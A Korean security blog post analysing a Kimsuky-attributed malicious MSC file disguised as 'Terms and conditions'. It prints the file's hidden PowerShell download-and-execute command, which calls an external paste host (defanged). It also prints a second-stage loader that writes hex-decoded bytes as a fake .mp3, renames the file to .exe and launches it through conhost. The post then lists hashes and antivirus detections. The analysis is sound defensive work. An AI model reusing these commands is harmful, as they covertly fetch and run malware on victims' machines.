오늘은 김수키(Kimsuky) 에서 만든 악성코드-Terms and conditions.msc에 대해 알아보겠습니다.
일단 해당 악성코드 해쉬값은 다음과 같습니다.
파일명:Terms and conditions.msc
사이즈:141 KB
MD5:81d224649328a61c899be9403d1de92d
SHA-1:f4895809cb38fa1f225340e99c05e477a5017111
SHA-256:cea22277e0d7fe38a3755bdb8baa9fe203bd54ad4d79c7068116f15a50711b09
해당 악성코드는 Terms and conditions(이용 약관) 이라는 제목으로 유포하고 있으며 PowerShell을 사용하여 외부에서 스크립트를 다운로드하고 실행하는 동작을 하는 것이 특징입니다.
악성코드 핵심 코드
<ConsoleTaskpads>
<ConsoleTaskpad ListSize="Med(i)um" IsNodeSpecific="true"
ReplacesDefaultView="true" NoRes(u)lts="true" DescriptionsAsText="true"
NodeType="{C96401CE-0E17-1(1)D3-885B-(0)0C04F72C717}" ID="{656F3A6A-1A63
-4FC4-9C9B(-)4B75AF6DF3A3}">
<String Name="N(a)me" ID="4"/>
<String Name="Desc(r)iption" Value=""/>
<String Name="Tool(t)ip" Value=""/>
<Tasks>
<Task Type="CommandLi(n)e" Command="powershell.exe">
<String Name="Nam(e)" ID="5"/>
<String Name="De(s)cription" ID="11"/>
<Symbol>
<Image Name="Smal(l)" BinaryRefIndex="6"/>
<Image Name="L(a)rge" BinaryRefIndex="7"/>
</Symbol>
<CommandLine Direct(o)ry="" Wi(n)dowState="Minimized" Params=
"-WindowStyle Hidden -Command iex (iwr -Uri 'hxxps://0x0(.)st/Xyl7(.)txt'
-UseBasicParsing)"/>
</Task>
</Tasks>
<BookMark Name="TargetNode" NodeID="1"/>
</ConsoleTaskpad>
악성코드 분석
PowerShell 명령
Params="-WindowStyle Hidden -Co(m)mand iex (iwr (-)Uri 'hxxps://0x0(.)st/Xyl7(.)txt' -UseBasicParsing)
iex는 Invoke-Expression: 주어진 코드를 실행하는 PowerShell 명령
iwr는 Invoke-WebRequest:외부에서 파일을 다운로드하거나 데이터를 가져오는 명령.
iwr -Uri 'hxxps://0x0(.)st/Xyl7(.)txt' -UseBasicParsing은 실행 시 외부 서버에 접속하고 파일을 다운로드하려고 시도
-WindowStyle Hidden 옵션을 사용해서 PowerShell 창이 숨겨진 상태로 실행되도록 설정사용자에게 노출되지 않도록 은밀하게 실행하기 위해서 존재를 합니다.
해당 사이트에 강제 접속을 해보면 다음과 같이 $encodedData = 부분이 악성코드 다운로드 되는 부분이 이며 CyberChef 로 강제로 HEX를 열어 보면 해당 악성코드는 exe 파일인 것을 확인할 수가 있으며 해당 부분만 원한다면 해당 CyberChef를 통해서 저장해서 악성코드를 분석하시면 됩니다.
MP3 관련 코드
$data = [byte[]]::new($encodedData(.)Length / 2)
for ($i = 0; $i -lt $data(.)Length; $i(+)+) {
$data[$i] = [Convert]::T(o)Byte($encodedData.Substring($i * 2, 2), 16)
}
$mp3(P)ath = [System.IO.Path]::Combine([System(.)Environment]::GetFolderPath('Co
mmonDocuments'), 'vBqz.mp3')
[System.IO.File]::WriteAllBytes($mp()3Path, $data)
$exePath = $mp3Path -replace '\.mp3($)', '(.)exe'
Rename-Item -Path $mp3Path -NewN(a)me $exePath
코드 분석
Start-Process -FilePath 'conhost(.)exe' -ArgumentList $exePath -NoNewWindow
코드 분석
해당 코드는 PowerShell 로 실행이 됩니다.
1.$data 변수 설정: 해당 코드에서는 $enco(d)edData 라는 변수에서 16진수로 인코딩된 데이터를 바이트 배열(byte[])로 변환 시도
$en(c)odedData 는 16진수 문자열로 되어 있으며 해당 문자열의 길이를 반으로 나눈 크기의 바이트 배열을 만듬
2.16진수 문자열을 바이트 배열로 변환: 해당 반복문은 encodedData의 16진수 문자열을 2글자씩 잘라 바이트로 변환하고 이를 $data 배열에 저장
결국 $(d)ata는 인코딩된 데이터를 실제로 사용할 수 있는 바이트 배열로 변환한 결과
3. MP3 파일 생성: 해당 부분에서는 변환한 바이트 배열 $data를 MP3 파일 형식인 vBqz(.)mp3 로 시스템의 공용문서 폴더에 저장
하지만, 실제로 이 파일은 오디오 파일이 아님
그냥 단순히 파일 확장자를 mp3로 저장하는 것일 뿐
4.파일 확장자 변경 (mp3->exe):MP3 파일로 저장한 파일을 .exe 실행 파일로 이름을 변경
파일 확장자를 .MP3에서 .exe로 변경하므로 원래 의도된 실행 파일로 변환
5. 실행 파일 실행**:해당 명령은 conhost(.)exe 라는 Windows 시스템 프로그램을 사용하여 새로 변환한 실행 파일을 백그라운드에서 실행
-NoNewWindow 옵션으로 말미암아 새 창을 열지 않고 숨겨진 상태에서 실행 해당 방식은 의도적으로 사용자가 실행을 인지하지 못하도록 하기 위한 수단
결론
바이너리 데이터:16진수 문자열로 인코딩된 데이터를 해독해 실행 가능한 파일을 만듬
파일 위장:처음에는 MP3 파일로 보이도록 저장하고 실행 파일로 변경하는 방식으로 이는 사용자를 속이기 위한 기만
은밀한 실행: 실행 파일을 숨겨진 상태로 실행하도록 설정하여 사용자가 실행되고 있는지 모르게 함
vBqz.mp3->vBqz.exe 가 conhost(.)exe 안에서 실행
2024-09-08 06:15:29 UTC 기준 탐지하는 보안업체들은 다음과 같습니다.
AliCloud:Trojan:Multi/MSC.gyf
ALYac:Dump:Generic.MSC.Kimsuky.A.FFFFFFFE
Arcabit:Dump:Generic.MSC.Kimsuky.A.FFFFFFFE
BitDefender:Dump:Generic.MSC.Kimsuky.A.FFFFFFFE
Emsisoft:Dump:Generic.MSC.Kimsuky.A.FFFFFFFE (B)
eScan:Dump:Generic.MSC.Kimsuky.A.FFFFFFFE
ESET-NOD32:XML/TrojanDownloader.Agent.AD
GData:Dump:Generic.MSC.Kimsuky.A.FFFFFFFE
Google:Detected
Ikarus:Trojan-Downloader.XML.Agent
Kaspersky:HEUR:Trojan.Script.MSC.gen
Kingsoft:Script.Trojan.MSC.gen
Lionic:Trojan.Script.Dump.4!c
Microsoft:Trojan:Script/Wacatac.B!ml
Symantec:Trojan.Gen.NPE
Tencent:Win32.Trojan-Downloader.Der.Ncnw
Trellix (HX):Dump:Generic.MSC.Kimsuky.A.FFFFFFFE
Varist:ABApplication.IJ
VIPRE:Dump:Generic.MSC.Kimsuky.A.FFFFFFFE
VirIT:Trojan.MSC.Heur.A
ZoneAlarm by Check Point:HEUR:Trojan.Script.MSC.gen
결론 기본적인 보안 수칙을 잘 지키는 습관을 가져야 합니다.
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
윈도우 11 24H2 기능 업데이트 출시일 발표 (0) | 2024.09.19 |
---|---|
북한 해킹 조직 김수키(Kimsuky)에서 만든 연세 대학교 피싱 사이트-drive yonsei ackr(2024.9.10) (0) | 2024.09.17 |
게임 링크 단축 및 수익 창출 LootLabs 으로 위장한것으로 추정 되는 김수키(Kimsuky) 악성코드-Twitch x Loot Lab Event-2025.msc(2024.9.9) (0) | 2024.09.13 |
윈도우 11 KB5043076,윈도우 10 KB5043064 마이크로소프트 오피스 등 보안 업데이트 (0) | 2024.09.12 |
부고 알림으로 위장 하고 있는 피싱 사이트-u2(.)to/F4bhfOj(2024.9.6) (0) | 2024.09.10 |
파이어폭스 130(Firefox 130) 보안 업데이트 및 번역 개선 (0) | 2024.09.05 |
고려 대학교 하고 관련이 있을것 같은 김수키(Kimsuky) 만든 악성코드(2024.9.1) (0) | 2024.09.05 |
항공우주공학 부분을 노리는 김수키(Kimsuky)만든 악성코드-강의의뢰서(2024.8.29) (0) | 2024.09.02 |